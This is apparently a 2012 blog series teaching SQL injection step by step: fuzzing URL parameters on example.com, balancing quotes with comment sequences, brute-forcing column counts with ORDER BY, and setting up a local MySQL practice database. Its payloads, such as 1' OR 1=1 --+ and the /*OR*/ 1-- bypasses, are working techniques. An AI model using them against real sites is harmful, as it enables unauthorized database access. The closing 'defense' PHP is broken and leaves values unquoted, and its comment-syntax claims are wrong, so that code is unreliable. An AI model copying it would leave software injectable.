And keeping the single quote, when we appended a comment symbol, (--+) it bring back the normal page.

Thus we now have identified the place where we will inject our SQL Queries.

http://www.example.com/index.php?id= 1'  --+

Now the next step after finding the SQL Injection field, we have to get the columns count, i.e the number of columns used.

If we write the query in SQL terms, its:

SELECT * FROM table
WHERE id = '  1   ' ;

After, injecting

SELECT * FROM table
WHERE id = '  1'   --+ ' ;

Lets show here a quick SQL Table and the queries

mysql> use ckorner ;
Database changed
mysql> select database() ;
+------------+
| database() |
+------------+
| ckorner    |
+------------+
1 row in set (0.00 sec)

mysql> show tables ;
+-------------------+
| Tables_in_ckorner |
+-------------------+
| admin             |
| products          |
| users             |
+-------------------+
3 rows in set (0.00 sec)

mysql> select * from products;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    2 | Laptop  | 15000 |
|    3 | iPhone  | 13000 |
|    1 | Printer |  4500 |
+------+---------+-------+
3 rows in set (0.00 sec)

mysql> select * from products order by id ;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
|    2 | Laptop  | 15000 |
|    3 | iPhone  | 13000 |
+------+---------+-------+
3 rows in set (0.00 sec)

mysql> select * from products where id=1 ;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id=1 order by 1 ;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id=1 order by 2;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id=1 order by 3;
+------+---------+-------+
| id   | name    | price |
+------+---------+-------+
|    1 | Printer |  4500 |
+------+---------+-------+
1 row in set (0.00 sec)

mysql> select * from products where id=1 order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
mysql>

So what do we see here, we have a Table named "Products" and in this table we have 3 rows(records) and 3 columns.

Suppose I dint know how many columns I had, and lets say I forgot how to check the columns, I will use the "order by" query to bruteforce and find the columns count. as you see "order by 4" gave an error stating that unknown column.

In the same way we will use this process to find out the columns count by injecting "ORDER BY" Query.

So in our URL:

http://www.example.com/index.php?id= 1' ORDER BY 1 --+ >> No Error or Blank Page
http://www.example.com/index.php?id= 1' ORDER BY 2 --+ >> No Error or Blank Page
http://www.example.com/index.php?id= 1' ORDER BY 3 --+ >> No Error or Blank Page
http://www.example.com/index.php?id= 1' ORDER BY 4 --+ >> Error

So we found that the number of columns count is 3. Why we need to find it out, thats a secret to be revealed in the later posts.

Note: Finding the columns is not click and go task, because in a given website we have no idea, how many columns might be there.

So a quick tip:

http://www.example.com/index.php?id= 1' ORDER BY 50 --+ >> Error
http://www.example.com/index.php?id= 1' ORDER BY 25 --+ >> Error
http://www.example.com/index.php?id= 1' ORDER BY 15 --+ >> Error
http://www.example.com/index.php?id= 1' ORDER BY 10 --+ >> No Error

Means the count is somewhere between 10 and 15

http://www.example.com/index.php?id= 1' ORDER BY 13 --+ >> Error
http://www.example.com/index.php?id= 1' ORDER BY 12 --+ >> Error
http://www.example.com/index.php?id= 1' ORDER BY 11 --+ >> No Error

So I hope you enjoyed it.

Thank You!

Wednesday, June 6, 2012

SQL Injecting Parameters-3

Continuing with our journey to identify.... Lets head towards identifying another URL and try fuzzing it.

You might think, why am I not proceeding from these point, and stuck at identifying MySQL Errors. It is very important to identify the Injection Field. My Posts Are not related to dorks, where you pick up some random URLS and Fuzz it. At any given point, If you are provided with a website you should have the capability to find and identify Injection Field, for an Attack.

So Again the last developer of the company was fired out, as Database was successfully hacked. There comes a new Developer and he re-writes the Engine.

Once again our aim is to understand how he coded it.


We have the URL:

http://www.example.com/index.php?id=1

So Our Fuzzing Starts..

http://www.example.com/index.php?id=11111111111111111 >> Blank Page

http://www.example.com/index.php?id=foooo >> Blank Page

http://www.example.com/index.php?id=1c >> Blank Page

http://www.example.com/index.php?id=c1 >> Blank Page

http://www.example.com/index.php?id=1'

Woops we broke it, We got an SQL Error. So Our First Work is Done. Now The second Part, we will try to Balance it, so that we get our Injection Field.

Now this is One type Engine, where we will find that we are not able to use the Comments to Balance the URL.

Here is a new thing that we will try.

By now, you should have noticed that the query that creates MySQL Error, we dont remove the Query, but keeping that in Place we try to balance so that our Sequence Breaking Query stays there, and we fix it by commenting.

http://www.example.com/index.php?id=1'

In SQL terms,

SELECT * FROM Table
WHERE id = _______;

http://www.example.com/index.php?id='    1'    '

Notice here the Single Quotes are not balanced, which gave the Error.

Lets say we tried:

http://www.example.com/index.php?id = '   1' --+ '

By using the comment (--+) we say the database, hey you anything you see after me, Ignore it. so in this way the last quote gets ignored after reaching the Database. And Any Valid SQL Query Between 1' ______ --+ gets executed.

Lets assume in this case our this method it dint work, we are not able to balance the URL.

Now lets do something Else

http://www.example.com/index.php?id= '   1' OR '1   '

It gets Balanced, because we have now Balanced it, and the OR Logic says, execute either the first part or the second part.

SELECT * FROM Table
WHERE id = '1' OR '1';

The first '1' extracts the records of id=1, and the second part OR '1' means a TRUE Statement.

Lets use now AND Statement,

http://www.example.com/index.php?id = '  1' AND '1  '

Once again we get a valid display

http://www.example.com/index.php?id= '  2' AND '1  '

We get the next record, and so on.

So You must remember this way of Fuzzing an URL if the earlier methods doesn't work.

So any valid Query Between '  2' ________ AND '1  '

AND, OR is to Balance, we have balanced the Right Side, now we have to insert SQL Commands on the Left Side and the Queries Will get executed.

Conclusion: We used ' AND ' 1

http://www.example.com/index.php?id  = 1

http://www.example.com/index.php?id  = 1 ' AND ' 1

Thank You!

Tuesday, June 5, 2012

Setting Up MySQL


When things are done practically, it tends to stay in mind. So before Proceeding further with SQL Injection, I thought Of Showing how to setup MySQL Server and Create A Database, and Play With it.

In this post, we will set up MySQL server, and get hands on it and feel MySQL Database.

Steps:

1. Download From HERE (Windows Users Download the MSI Installer)

2. Install It, The Process is very simple, You need to Follow the Instructions Properly.

3. Open a Command Prompt and type 'mysql', If you get error which says MySQL is not recognized as a valid statement. Means Either Installation was not successful or you might have to add the MySQL Directory to the Environment Variable.
[If you get any error with Installation, Leave a comment, with exact error code and the Operating system]

4.

D:\>mysql -u root -p
Enter password:    [Leave it Blank, and Press Enter]

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1
Server version: 5.5.16 MySQL Community Server (GPL)

Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use mysql;
Database changed
mysql> update user set password=PASSWORD("toor") where User='root';
Query OK, 2 rows affected (0.00 sec)
Rows matched: 2  Changed: 2  Warnings: 0
mysql> flush privileges;
Query OK, 0 rows affected (0.00 sec)
mysql> quit
Bye

D:\Documents and Settings\CKorner>mysql -u root -p
Enter password: toor
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.5.16 MySQL Community Server (GPL)

Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| cdcol              |
| mysql              |
| performance_schema |
| phpmyadmin         |
| test               |
| webauth            |
+--------------------+
7 rows in set (0.00 sec)

mysql> create database CKorner;
Query OK, 1 row affected (0.00 sec)

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| cdcol              |
| ckorner            |
| mysql              |
| performance_schema |
| phpmyadmin         |
| test               |
| webauth            |
+--------------------+
8 rows in set (0.00 sec)

mysql> use ckorner;
Database changed
mysql> select database();
+------------+
| database() |
+------------+
| ckorner    |
+------------+
1 row in set (0.00 sec)

mysql> select current_user;
+----------------+
| current_user   |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 5.5.16    |
+-----------+
1 row in set (0.00 sec)

mysql> create table admin(id INT, name VARCHAR(20), pwd VARCHAR(15));
Query OK, 0 rows affected (0.08 sec)

mysql> show tables;
+-------------------+
| Tables_in_ckorner |
+-------------------+
| admin             |
+-------------------+
1 row in set (0.00 sec)

mysql> insert into admin(id, name, pwd) values(1, "Whiskey", "whiskey123");
Query OK, 1 row affected (0.02 sec)

mysql> insert into admin(id, name, pwd) values(2, "Onty", "Onty123");
Query OK, 1 row affected (0.01 sec)

mysql> insert into admin(id, name, pwd) values(3, "Sourabh", "kumar123");
Query OK, 1 row affected (0.03 sec)

mysql> insert into admin(id, name, pwd) values(4, "Nivedita", "Niv123");
Query OK, 1 row affected (0.03 sec)

mysql> desc admin;
+-------+-------------+------+-----+---------+-------+
| Field | Type        | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| id    | int(11)     | YES  |     | NULL    |       |
| name  | varchar(20) | YES  |     | NULL    |       |
| pwd   | varchar(15) | YES  |     | NULL    |       |
+-------+-------------+------+-----+---------+-------+
3 rows in set (0.02 sec)

mysql> select * from admin;
+------+----------+------------+
| id   | name     | pwd        |
+------+----------+------------+
|    1 | Whiskey  | whiskey123 |
|    2 | Onty     | Onty123    |
|    3 | Sourabh  | kumar123   |
|    4 | Nivedita | Niv123     |
+------+----------+------------+
4 rows in set (0.00 sec)

mysql> quit;
Bye

D:\Documents and Settings\CKorner>

Play Around with the SQL Queries, which has been discussed before.

Hope this will be Interesting, and help you to learn SQL Injection.

[No Comments, No Likes Makes Me Feel, I am uselessly sharing knowledge, Support motivates]

Thank You

Monday, June 4, 2012

SQL Injecting Parameters-2

From the last post, we know how to find the parameter, and also how to balance it, and get the Injection field.

Last post the developer had poorly coded the PHP script, and thus appending a single quote(') gave the error. So he was thrown out of the company, because hackers easily gained info from the database.

Now comes a second developer, where he re-coded the PHP script. Once again challenging the Hackers community.

So we have URL, once again our prime objective is to understand how is 2nd Layer code, from the errors we get.

Lets start:

http://www.example.com/index.php?category=watch&id=1

So from the URL, what can I conclude?
There must be a Column(category) and rows(watch), and with id=1, it gives some info about the id=1 watch.

With that in Mind, we know that 'id' maybe once again a vulnerable parameter, lets try to Fuzz it.


http://www.example.com/index.php?category=watch&id=foo >> Unknown column 'foo' in 'where clause'

[+] Okay, it means when we insert some string, It tries to match the String with the columns. Thus giving me an Idea, that once again no proper filtration is done.

http://www.example.com/index.php?category=watch&id=999999999 >> Blank Page

http://www.example.com/index.php?category=watch&id=CK123 >> Unknown column 'CK123' in 'where clause'

http://www.example.com/index.php?category=watch&id=123CK >> Unknown column '123CK' in 'where clause'

[+] It means when we insert some alpha-Numeric, It tries to match the String with the columns. No proper filtration is done.

http://www.example.com/index.php?category=watch&id=1' >> MySQL Error(JackPot)

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1"

[+] Insertion of a special character, breaks the Developers Code

Lets Focus on the Error we got:

#> Error 1: '' LIMIT 0,1'

Ok, seems little confusing the error, lets try with another special character:

http://www.example.com/index.php?category=watch&id=1\

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\ LIMIT 0,1' at line 1"

#> Error 2: '\ LIMIT 0,1'

Now what we see here, the developer has already assigned the outermost quotes, and those are single quotes. lets get rid of those.

The hacker, opens up the Notepad:

'' LIMIT 0,1'
' LIMIT 0,1

http://www.example.com/index.php?category=watch&id='  User Input here   '
http://www.example.com/index.php?category=watch&id='        1           '
http://www.example.com/index.php?category=watch&id='        1'          '

lets try to balance it, so that we get out injection field.

Notice here something, when we insert the single quote, since the quotes got unbalanced, it gave the error, but the id number is missing.

Now To balance it we need the comment symbols.

What If we do something like this:

http://www.example.com/index.php?category=watch&id='        1 --+'          '

#> Our Injection is: --+'

Voila, it got balanced, and we got the injection Field.

Now any valid SQL Query between 1 (Injection Here) --+' will be executed.

Now to check If its correct,

http://www.example.com/index.php?category=watch&id=1 AND 1=2 --+' >> Blank, as the logic is False
http://www.example.com/index.php?category=watch&id=1 AND 1=1 --+' >> Valid Display, as the logic is True

Again In this post I am not showing the next steps. because, identifying the injection is the crucial part of SQL Injection.

Hope You are Enjoying It.

Thank You!

Sunday, June 3, 2012

Finding Injection Parameter


Now that we saw some Basic SQL Injection to Fuzz the Admin Login Panel, We will now head towards understanding Parameters in an URL.

What is a Parameter?
It is a place where user inputs somethings, and the input is then used to build a Query and execute the Query.

Ex: A form in a webpage, will have parameters, because it allows the user to input some data, and according to the data entered, some Query will be build and executed.

Dynamic Links on a webpage, you might have seen Tabs on a webpage like GALLERY, NEWS, etc. when you click on it, it connects to a Table, like Table: 'category' etc.

Lets take an example here:

http://www.example.com/index.php?id=

Ok so when I have such kind of URL, the first thing comes to my mind is, based on the 'id' value, so sort of page shall be my expectation as output.

Now I start playing with it, keeping my eyes open

http://www.example.com/index.php?id=1

http://www.example.com/index.php?id=2

http://www.example.com/index.php?id=3

Okay, what am I noticing here, the 'id' numbers are Integers, based on which I get different webpages.

I continue...

http://www.example.com/index.php?id=CK

And i get a blank page with No MySQL errors, so I conclude, the id parameter accepts only 'integers'.

I continue...

http://www.example.com/index.php?id=CK1

http://www.example.com/index.php?id=1CK

And I still get Blank Page with no MySQL errors, I conclude, it cannot take AlphaNumeric Values.

I continue more...

http://www.example.com/index.php?id=9999999999999999999

And I still get Blank Page with no MySQL errors, I conclude, it cannot take Long Integers.

So what is it that I am trying to do? Nothing, Its known as Analyzing the work flow, or understanding the 2nd Layer Engine, that connects to Database.

Typically I am trying to break the normal functionality or Fuzzing it.

I continue...

http://www.example.com/index.php?id=1'

And Viola I broke It, I got an Error Of MySQL

(You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1)

So Here Is what I understand now,
parameter is 'id'
If Datatype int, No SQL Error
If Datatype string, No SQL Error
If Datatype long, No SQL Error
If Datatype aplhanumeric, No SQL Error
If Datatype Special Characters, SQL Error

Now Lets try to understand the Error we got,

We are not learning grammer or sentence structure here, so I dont care what it says, I am more concerned about the Error I got, ie: ''1'' LIMIT 0,1'

Analysing...

''1'' LIMIT 0,1' >> Every Parameter Is surrounded by quotes so lets eliminate the outermost quotes
'1'' LIMIT 0,1
'  1'  ' LIMIT 0,1
'  (User_input_values_here)  ' LIMIT 0,1
With a single quote, I unbalanced the Quotes, which gave out the error, so my Injection is a single Quote, Now Lets try to Balance it out. How? By commenting out, which tells the database that anything after the comment symbols are comments, so Database Ignores it.

Comments symbols are:
1. /*(comments)*/
2. --+(comments)
3. # (comments)

As The Prime Objective of This post is to Find Out Injecting Parameter and Fields, I will Stick To It, On Next Post I will Explain, How To Exploit it.

Again, I try:

http://www.example.com/index.php?id=1' # >> MySQL Error
http://www.example.com/index.php?id=1' /* >> MySQL Error
http://www.example.com/index.php?id=1' --+ >> No Error

So Now I Found out Where In I can inject SQL Queries. Any Valid SQL Query Between (1'  [here]  --+) will be executed as a valid SQL Query.

Just As an Example:

http://www.example.com/index.php?id=1' --+ >> No Error, With Valid Output
http://www.example.com/index.php?id=1' AND 1=2 --+ No Error, But No Output, Because Our Logic Given here is 1=2, which is always False
http://www.example.com/index.php?id=1' AND 1=1 --+ >> No Error, With Valid Output
http://www.example.com/index.php?id=1' OR 1=1 --+ >> No Error, With Valid Output
http://www.example.com/index.php?id=1' OR 1=2 --+ >> No Error, With Valid Output (We Get the Output Here, because our Query has an OR Operator, 1 OR 0 = 1, 1 OR 1 = 1, 0 OR 1 = 1, 0 OR 0 = 0)

This is a Simple Digital Computing Of 'OR' Operator.

So, we see that, we found out the Place where we can Inject our SQL Queries.

Hope This was Informative. and Helpful.

Thank You!

Saturday, June 2, 2012

SQL Injection Defense

Now that I spoke about the basic of how to break an Admin Panel, now lets see basic ways to save an Admin Panel.

So the trend in the Last post was, Users enters value, the values are directly passed to the Database, and Database being a novice spits out according the query given.

User >>> PHP Script >>> Database

Now, If we do some kind of filtering of values before the PHP script builds the Query, chances gets reduced for an attack, and thus saving it from very basic SQL Injection attack.

User >>> Filter >>> PHP Script >>> Database

The Login Form Code:

<form method = "GET" action = "filter.php" >
Name: <input type = "text" name = "uname" />
Password: <input type = "password" name= "pwd" />
<br />
<input type = "submit" value = "Login" name= "login" />
</form>

Which would gives us the below section:


ADMIN LOGIN PANEL

Name:    
Password:

filter.php

<?php

//One Of the Way used to Prevent SQL Injection

if ( isset ( $_GET [ 'login' ] ))
{   
    //Connect To Database
    $conn = mysql_connect ( "localhost" , "username" , "password" ) or die ( " Could Not Connect To Database" );

    //Get the Username
    $name = $_GET [ 'uname' ];

    //Get the password
    $passwd = $_GET [ 'pwd' ];

    //Filtering Process
    $filname = mysql_real_escape_string ( $name );
    $filpass = mysql_real_escape_string ( $passwd );

    //Build the Query
    $query = " SELECT * FROM Users WHERE user = " .$filname. " AND password = " .$filpass ";

    //Make the Query
    $result = mysql_query ( $query );

    //Count the Rows Returned
    $rows = mysql_num_rows ( $result );

    if ( $rows != 0)
    {
        header ( "Location: admin.php" );
    }
    else
    {
        die ( "Invalid Username or Password" );
    }
}
?>

So, here before we make the query we are filtering the User Input Values

"mysql_real_escape_string" this is a function, that escapes quotes if found any

Now, if the users enters:

Username = Computer
Password = Korner

Nothing to Filter here, but as there is Null records found with the Values Entered, We would get:

"Invalid Username or Password"

Now lets try to change the Logic

Username = Computer
Password = Korner OR '1' = '1'

With this script the The values will not change neither the logic

SELECT id FROM Users
WHERE user = 'Computer'
AND password = 'Korner OR \'1\' = \'1\'';

Now due to "mysql_real_escape_string", the password enter with SQL Injection will become "Korner OR \'1\' = \'1\'"

Since the Single Quotes are escaped, this query will have No effect. and will return

"Invalid Username or Password"

Thus making the Basic SQL Injection Unsuccessful.

Still This can be bypassed But The K-Scripters will move on to some another website or Admin Panel.

To bypass this, we can append Queries Like:

/*OR*/ 1--
/*OR*/ True--
/*OR*/ 1=1

/* --> This Means a Comment in PHP
-- --> This forces to execute an SQL Statement

There are other ways too, If you are interested, you should be in search.

I will discuss other ways too, But If you know other ways to prevent SQL Injection feel free to comment it.

The purpose is make awareness, and To Protect From Being Hacked By K-Scripters

Thank You